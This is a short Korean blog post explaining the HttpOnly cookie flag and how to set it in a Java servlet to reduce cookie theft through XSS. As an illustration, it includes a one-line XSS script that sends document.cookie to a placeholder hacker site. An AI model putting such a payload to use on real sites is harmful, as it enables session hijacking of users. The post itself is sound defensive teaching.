[CS] HTTP Only Cookie 사용하기

"Use HTTP Only Cookie"

Posted by JacksonJang on April 11, 2024

HttpOnly를 사용하면, XSS 공격을 예방할 수 있습니다.

우리가 인터넷을 사용하다 보면 HTTP 및 HTTPS 통신을 자주 하게 됩니다. 그러다 보면 로그인이나 상품을 구매할 수도 있고 다양한 활동들을 하게 되는데, 이때 사용되는 것이 쿠키입니다.

쿠키(Cookie)

쿠키(Cookie)는 세션 및 기타 정보를 관리하기 위해 사용합니다. 이런 쿠키가 존재하는 이유는 사용자의 유효성 검사를 위해서 주로 사용되는데, 톰캣을 사용한다면 주로 볼 수 있는 쿠키는 JSESSIONID 입니다.

JSESSIONID : 톰캣 컨테이너에서 세션을 유지하기 위해 발급하는 키

HTTP Only


위 사진처럼 httpOnly는 HttpOnly에 체크되어 있고, noneHttpOnly는 HttpOnly가 체크되어 있지 않습니다.

위 사진은 document.cookie를 했을 때, 나온 결과 화면입니다.
보이는 대로 HttpOnly로 설정된 쿠키는 javascript에서 노출되지 않습니다.(단, 개발자 도구를 통해서는 볼 수 있습니다.)

따라서, 다음과 같은 XSS 공격을 통해 해커가 쿠키 값을 가져올 수 없습니다.

1
2
3
<script> 
location.href = '해커사이트주소?cookie=' + document.cookie 
</script>

Java 서버에서 처리

1
2
3
4
5
6
7
8
9
10
11
12
13
 public Map index(HttpServletRequest request, HttpServletResponse response) {
    Map<String, Object> map = new HashMap();

    Cookie noneHttpOnly = new Cookie("noneHttpOnly", "test");
    Cookie httpOnly = new Cookie("httpOnly", "test");
    httpOnly.setHttpOnly(true);
    response.addCookie(noneHttpOnly);
    response.addCookie(httpOnly);

    map.put("cookie", request.getCookies());

    return map;
}

위와 같은 방식으로 noneHttpOnly 쿠키와 httpOnly 쿠키를 추가했습니다.

github 예시

https://github.com/JacksonJang/httpOnlyExample.git